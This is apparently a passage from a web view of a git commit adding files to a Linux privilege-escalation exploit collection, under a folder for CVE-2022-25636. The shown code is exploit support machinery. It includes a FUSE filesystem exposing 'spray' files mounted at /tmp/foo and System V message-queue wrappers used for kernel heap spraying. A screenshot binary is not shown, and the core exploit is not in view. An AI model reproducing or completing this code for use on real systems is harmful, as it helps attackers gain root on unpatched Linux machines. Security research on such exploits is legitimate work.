if (strcmp(path, "/") != 0)
|
||||
return -ENOENT;
|
||||
|
||||
filler(buf, ".", NULL, 0);
|
||||
filler(buf, "..", NULL, 0);
|
||||
filler(buf, spray1_path, NULL, 0);
|
||||
filler(buf, spray2_path, NULL, 0);
|
||||
|
||||
return 0;
|
||||
}
|
20
98-Linux提权/CVE-2022-25636-Linux 提权漏洞/fakefuse.h
Normal file
20
98-Linux提权/CVE-2022-25636-Linux 提权漏洞/fakefuse.h
Normal file
@ -0,0 +1,20 @@
|
||||
#define _FILE_OFFSET_BITS 64
|
||||
#define FUSE_USE_VERSION 29
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <fuse.h>
|
||||
#include <stddef.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define MNT_PATH "/tmp/foo"
|
||||
|
||||
extern int spray1_pipes[2];
|
||||
extern const char *spray1_path, *spray2_path;
|
||||
|
||||
int fuse_read(const char *path, char *buf, size_t size, off_t offset,
|
||||
struct fuse_file_info *fi);
|
||||
int fuse_getattr(const char *path, struct stat *stbuf);
|
||||
int fuse_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
|
||||
off_t offset, struct fuse_file_info *fi);
|
BIN
98-Linux提权/CVE-2022-25636-Linux 提权漏洞/poc.png
Normal file
BIN
98-Linux提权/CVE-2022-25636-Linux 提权漏洞/poc.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 376 KiB |
28
98-Linux提权/CVE-2022-25636-Linux 提权漏洞/util.c
Normal file
28
98-Linux提权/CVE-2022-25636-Linux 提权漏洞/util.c
Normal file
@ -0,0 +1,28 @@
|
||||
#include "util.h"
|
||||
|
||||
int32_t make_queue(key_t key, int msgflg) {
|
||||
int32_t result;
|
||||
if ((result = msgget(key, msgflg)) == -1) {
|
||||
perror("msgget failure");
|
||||
exit(-1);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) {
|
||||
ssize_t ret;
|
||||
ret = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
|
||||
if (ret < 0) {
|
||||
perror("msgrcv");
|
||||
// exit(-1);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg) {
|
||||
if (msgsnd(msqid, msgp, msgsz, msgflg) == -1) {
|
||||
perror("msgsend failure");
|
||||
// exit(-1);
|
||||
}
|
||||
return;
|
||||
}
|
29
98-Linux提权/CVE-2022-25636-Linux 提权漏洞/util.h
Normal file
29
98-Linux提权/CVE-2022-25636-Linux 提权漏洞/util.h
Normal file
@ -0,0 +1,29 @@
|
||||
#define _GNU_SOURCE
|
||||
#include <assert.h>
|
||||
#include <fcntl.h>
|
||||
#include <linux/sched.h>
|
||||
#include <poll.h>
|
||||
#include <pthread.h>
|
||||
#include <sched.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/msg.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/wait.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
|
||||
typedef struct {
|
||||
long mtype;
|
||||
char mtext[1];
|
||||
} msg;
|
||||
|
||||
int32_t make_queue(key_t key, int msgflg);
|
||||
ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg);
|
||||
void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg);
|
Loading…
x
Reference in New Issue
Block a user